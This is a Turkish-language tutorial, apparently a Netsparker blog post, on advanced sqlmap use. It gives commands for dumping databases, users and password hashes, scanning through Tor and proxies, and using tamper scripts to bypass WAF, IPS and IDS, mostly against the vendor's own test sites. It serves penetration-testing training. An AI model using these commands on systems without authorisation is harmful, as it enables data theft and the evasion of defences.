İleri Seviye Sqlmap Kullanımı

Emre Iyidogan - 02 Mart 2017 -

Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Sqlmap'te kullanılan parametrelerin neredeyse tamamı önemli işlevlere sahip parametrelerdir. Bu yazıda söz konusu parametrelerden bazıları hakkında bilgiler verilmiş ve örnekler gösterilmiştir. Ayrıca Netsparker Desktop'ın sunduğu sqlmap komutlarını kopyalayabilme desteği hakkında da bilgilendirme yapılmıştır.

İleri Seviye Sqlmap Kullanımı

Bu yazımızda, özellikle pentesterların yoğun bir şekilde kullandığı sqlmap aracı hakkında bazı tüyolar ve gelişmiş kullanım örnekleri vereceğiz. Bununla birlikte Netsparker Desktop’ın SQL Injection açıklarında sqlmap aracı için sağlamakta olduğu destekten de bahsediyor olacağız.

Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Bünyesinde barındırdığı özellikler sayesinde, veri tabanı sunucularının yönetimini ele geçirmekten hedef sunucunun işletim sisteminde komut çalıştırmaya kadar pek çok işlevi yerine getirebilmektedir. Birçok veri tabanı yönetim sistemi için desteği bulunan sqlmap aracını şu bağlantıdan indirebilirsiniz:

https://github.com/sqlmapproject/sqlmap

Basit Kullanım Örnekleri

İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:

sqlmap'te Yaygın Olarak Kullanılan Url Parametresine Örnek

Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs

Veri Tabanı Listesine Ait Çıktılar

Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump

-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
--columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
--dump: Kolonlarda yer alan veriler ekrana yansıtılır.

Tüyo: Tek tire (-) veya çift tire (--) kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli parametrelerde ise değer girilmeden önce eşittir işaretinin kullanıldığını aklınızda tutabilirsiniz.

Not: Herhangi bir database’den veri çekebilmek için sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken yetkileri haiz olması zorunluluğunu unutmamak gerekir.

Yetki Kontrolü

Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde “current user” yani veri tabanı bağlantısını gerçekleştiren kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba parametresini kullanabilmekteyiz. Dönüt olarak "True" ya da "False" değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe ilişkin ekran görüntüsünü aşağıda görmektesiniz:

sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles

Yapılan Örneğin Çıktısına Ait Ekran Görüntüsü

Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir.

Birden Fazla Hedefi Tarama

Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir:

http://php.testsparker.com/artist.php?id=2
http://aspnet.testsparker.com/blog/what-are-the-advantages-of-bitcoin-62/
http://192.168.1.38/index.php?action=gallery_view&gallery_id=1
http://localhost/index.php?action=test

Bunun için, parametreden sonra dosyanın path’i belirtilir:

sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt"

Bir İstek Dosyası Yükleme

Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:

GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello

Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):

sqlmap -r "istek.txt"

Not: Burada yapılan istekte Rewrite edilmiş bir URL yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen bölümlerinde bulabilirsiniz.

POST İsteği Yapma

Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir. Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür.

Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:

Örnek Bir Login Sayfası

Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi, herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek saldırı şöyle olacaktır:

sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"

Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms) girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta kullanacağımız komut biraz değişecektir:

POST http://192.168.1.37/index.php HTTP/1.1
Host: 192.168.1.37
Connection: keep-alive
Content-Length: 341
Cache-Control: max-age=0
Origin: http://192.168.1.37
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.37/index.php?action=login
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;

------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="password"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="duration"
mins30
------WebKitFormBoundaryHFlodLUdWprARroi--

Kullanacağımız komut:

sqlmap -r istek.txt -p "loginname" --dbms="MySQL"

Not: Basit parametrelerden biri olan --dbms testlerin daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap, sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış olacaktır.

Forms Parametresi

POST istekleriyle ilintili başka bir parametre ise --forms parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu şekildedir:

sqlmap -u http://192.168.1.37/index.php?action=login --forms

Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır.

Form Parametresinin Çıktısına Ait Ekran Görüntüsü

URL Rewrite’ın Aktif Olma Durumu

Sqlmap, URI path’lerine karşı otomatik olarak herhangi bir test gerçekleştirmemesine rağmen bu path’leri manuel olarak işaretleyerek sqlmap’in test edebilmesini sağlamak mümkündür. Bu yöntem özellikle URL Rewrite özelliğinin aktif olduğu durumlarda yarar sağlamaktadır. Bu işlem için sadece parametrenin aldığı değerin sonuna asterisk (*) karakteri eklenmelidir. Şu şekilde örnek verebiliriz:

sqlmap -u "http://example.com/blog/yazi/1*"

URL Rewrite’sız hali ise şöyle olurdu:

sqlmap -u "http://example.com/blog.php?yazi=1"

Yukarıda da olduğu gibi hangi parametrenin işaretlenmesi gerektiğine manuel olarak karar verebilmenizin yanı sıra sqlmap bunu, sizin onayınızı aldıktan sonra otomatik olarak da yapabilmektedir.

HTTP Authentication

Sqlmap ile Basic, Digest, NTLM ya da PKI kimlik doğrulaması isteyen uygulamalarda da tarama yapmak mümkün. Bunun için kullanılan parametre --auth-type parametresidir. Gerekli oturum bilgileriniyse --auth-cred parametresiyle tanıtıyoruz. Örnek bir kullanım aşağıdaki gibidir:

sqlmap -u http://exapmle.com/main.php?action=writer&id=1 --auth-type="Basic" --auth-cred="user:password"

Credential’larda bir yanlışlık olursa şu hatayı almamız kaçınılmaz olur:

[09:53:40] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401)
[09:53:40] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times

Proxy ve Tor Kullanımı

Proxy kullanımı için sağlanan parametre --proxy parametresidir. Şayet kullanılacak proxy’e ait credential’lar mevcutsa bunu tanıtmak için --proxy-cred parametresi kullanılır. Ayrıca bir dosyadan proxy listesi dahil etmek için --proxy-file parametresine ihtiyaç duyarız. Proxy’nin protokolü (HTTP/S) mutlaka girilmelidir. Örnek kullanım şöyledir:

sqlmap -u "http://example.com/index.php?id=test" --proxy="http://127.0.0.1:80:80 --proxy-cred="user:pass"

Tor Parametresi

Tor proxy’sini kullanmak da oldukça basit. Tor bağlantısı ile tarama yapabilmek için öncelikle bilgisayarınızda Tor Browser ya da Tor Bundle’ın yüklü olması gerekir. Sqlmap’te kullanımı --tor parametresi ile sağlanır. Bağlantının gerçekleşmesi için Tor’un çalıştırılmış olması gerekir. Bununla birlikte --tor-proxy ve --tor-type parametrelerinin de tanıtılması gerekebilir. Örnek kullanım şöyledir:

sqlmap -u "http://aspnet.testsparker.com/Products.aspx?pId=4" --tor --tor-type="SOCKS5" --tor-port=9050

Burada dikkat edilmesi gereken nokta şu ki Tor’un varsayılan port numarası 9050 iken Tor Browser’ın varsayılan port numarası 9150 gelmektedir. Son olarak komutun sonuna ekleyeceğimiz --check-tor parametresi ile Tor bağlantısının durumu öğrenebiliriz. Bağlantı gerçekleştiği takdirde sqlmap çıktısı şöyle olacaktır.

[10:11:31] [INFO] checking Tor connection
[10:11:32] [INFO] Tor is properly being used

Level - Risk Parametreleri

Söz konusu parametreler sqlmap’in hangi testleri yapacağını belirtir. Ön tanımlı olarak --level parametresi 1 olarak gelir ve 1-5 arası değer alabilir. --risk parametresinin varsayılan değeri 1’dir ve 1-3 arası değer alabilir. Örnek case üzerinden gidecek olursak, şu komutu çalıştırdığımızda;

sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs

Çeşitli denemelerin ardından sqlmap’in şu hatayı verdiğini görürüz:

[10:33:23] [WARNING] GET parameter 'id' does not seem to be injectable
[10:33:23] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

Sqlmap, hedefe uygun testi gerçekleştirmemiş ve bu yüzden hedefte SQL Injection’ın var olduğunu doğrulayamamıştır. Şimdi ise komutumuza SQL sorgu denemelerini çeşitlendiren --risk parametresi ve prefix, suffix, payload çeşitlerini belirleyen --level parametresini uygun değerleriyle ekliyoruz:

sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs --risk=3 --level=3

Uzun bir bekleyişin ardından “Boolean-based-blind” ve “AND/OR time based blind” türünde SQL Injection açığının bulunduğunu öğrenmiş olduk. Ayrıca veri tabanı isimlerini bulmak için denemelere başladı:

Risk ve Level Parametrelerinin Kullanımına İlişkin Örnek Görüntüsü

Not: Risk ve level değerlerini artırdığınızda yapılan testlerin sayısı artar. Bu testleri bir nebze olsun hızlandırabilmek için --threads parametresini kullanırız. Bu parametreyle eş zamanlı bağlantı sayısını değiştirmemiz mümkün. Varsayılan değeri 1 iken daha fazla payload’un eş zamanlı olarak test edilmesini sağlamak için 10 değerini verebiliriz. Ek olarak --eta parametresiyle, yapılan işlemler için tahmini bitiş süresi bir progress satırı şeklinde ekrana yansıtılmaktadır. Örneğin:

Eta Parametresinin Kullanımına Dair Ekran Görüntüsü

Hangi level ve risk değerinde, hangi veri tabanı için hangi testin yapıldığını sqlmap\xml dizininde yer alan payloads klasöründeki XML dosyaları inceleyerek öğrenebilirsiniz. Ayrıca size özel payload’lar tanımlamak için de bu dosyaları düzenleyebilirsiniz.

Risk değerleri ve değerlere göre yapılan testler şöyledir:

  • 1 - Ön tanımlı olarak gelen değer.
  • 2 - Time Based ataklar uygular.
  • 3 - OR Based ataklar uygular.

Level değerleri ve değerlere göre yapılan testler şöyledir:

  • 1 - Ön tanımlı olarak gelen değer. 100’den az istek gönderir.
  • 2 - 100 ile 200 arası istek uygular.
  • 3 - 200 ile 500 arası istek uygular.
  • 4 - 500 ile 1000 arası istek gönderir.
  • 5 - 1000’den fazla istek gönderir.

Tamper Parametresi ve WAF/IPS/IDS Bypass

Hedef taratılırken şöyle bir uyarıyla karşılaşıyorsak hedef uygulamayla backend DBMS arasında bir girdi doğrulama mekanizmasının var olduğunu anlayabiliriz:

[11:36:30] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[11:36:30] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS

Bunun bir WAF (Web Application Firewall), IPS (Intrusion Prevention System), IDS (Intrusion Detection System) vasıtasıyla ya da uygulamanın kaynak kodunda bulunan bir doğrulamayla sağlanması mümkün. Tam da bu noktada sqlmap aracı, --tamper parametresiyle yardımımıza koşuyor. Bu parametreyi, sqlmap\tamper dizininde bulunan scriptler ya da custom olarak ekleyebileceğiniz scriptler aracılığıyla çalıştırdığınızda hedef uygulamadaki WAF/IPS/IDS’nin bypass edilmesi mümkün hale getirilebilir.

WAF/IPS bulunan bir hedefi taratırken şöyle bir soruyla karşılaşabiliriz:

[11:44:43] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[11:44:43] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]

Vereceğimiz olumlu cevap ile sqlmap, WAF/IPS/IDS’yi tespit etmeye çalışacak ve bulabildiği takdirde uygun tamper script’ini bize önerecektir. Manuel olarak daha ayrıntılı bir WAF testi yapmak için --identify-waf parametresinden yararlanabiliriz. Örneğin MySQL veri tabanını ve boşlukları validate eden bir WAF’ı kullanan bir uygulamayı taradığımızı düşünelim. Burada denememiz gereken MySQL’in boşluk satırı olarak kullandığı karakterleri kullanarak WAF’ı bypass etmeye çalışmak olacaktır. Şu tamper dosyası işimizi görecektir:

sqlmap -u "http://example.com/main.php?id=test" --tamper="space2mysqlblank.py"

Bunun neticesinde enjekte etmek istediğimiz payload (ör: SELECT password FROM users) şu hale geldi: SELECT%0Bpassword%0BFROM%A0users

Ayrıca birden fazla tamper dosyasını kullanmak için dosya isimlerinin arasına virgül koymak yeterli.

Genel Bazı Parametreler

Sqlmap, bünyesinde pek çok yararlı parametreyi barındırmaktadır. Buraya kadar bazı parametrelerin açıklamaları ve örneklerine değindik. Son olarak, yararlı olabileceğini düşündüğümüz birkaç parametreyi de ekleyelim.

--batch: Bu parametre ile sqlmap’in sorduğu sorulara otomatik olarak varsayılan cevabı vermiş oluruz.
--answer: --answer="quit=N,follow=N" gibi bir kullanımla söz konusu sorularla karşılaşıldığında otomatik olarak istediğimiz cevapların verilmesini istedik.
--mobile: Mobil bir hedefe yaptığımız saldırı, hedef tarafından uygun User-Agent’ı bulundurmadığımız için engellenebilir. Bu parametreyle sqlmap testlerini bir mobil client gibi tanıtıyoruz.
-v: Varsayılan değeri 1’dir. 0-6 arası değer verebiliriz. Bu parametre ile testler sırasında oluşan logları sqlmap ekranın görmemiz mümkün hale geliyor.
-t: Tüm HTTP trafiğini ekrana yansıtmak yerine belirlediğimiz bir metin dosyasına aktarır.
--force-ssl: HTTPS isteği yaparken bu parametreyi kullanabilirsiniz. Alternatif olarak Host adresinin sonuna 443 port numarası da eklenebilir.
--version: Mevcut sqlmap sürümünü ekrana yansıtır.
--update: Sqlmap’i otomatik olarak günceller. Windows sistemlerde çalışmamaktadır. Güncellemeyi manuel olarak yapmak gerekir.

Netsparker’ın Sqlmap Desteği

Netsparker Desktop, bulunan SQL Injection zafiyetleri için sqlmap’te kullanabileceğiniz komutları hazır halde sunmaktadır. Netsparker, bulduğu SQL Injection zafiyetinin sqlmap’te tespiti için gerekli olan parametreleri otomatik olarak oluşturur. Bunun için zafiyetin üstüne sağ tıklayıp "Copy sqlmap Command" seçeneğine tıklamak yeterli.

Copy sqlmap Command İle Komutları Kopyalamak

Kopyalanan komutu sqlmap’te çalıştırabiliriz:

Kopyalanan Komutların Sqlmap'ta Çalıştırılması

Netsparker, bulunan SQL Injection zafiyetinin testini sqlmap’te yapabilmeniz için gereken tüm parametreleri otomatik olarak ekler. Örneğin yukarıdaki örnekte -p parametresiyle vulnerable olan parametre, --risk parametresiyle denenecek payloadların seviyesi, --user-agent bilgisi, --headers parametresiyle Netsparker’ın tarama sırasında kullandığı header bilgisi ve son olarak --dbms parametresiyle uygun DBMS bilgisi otomatik olarak oluşturuldu.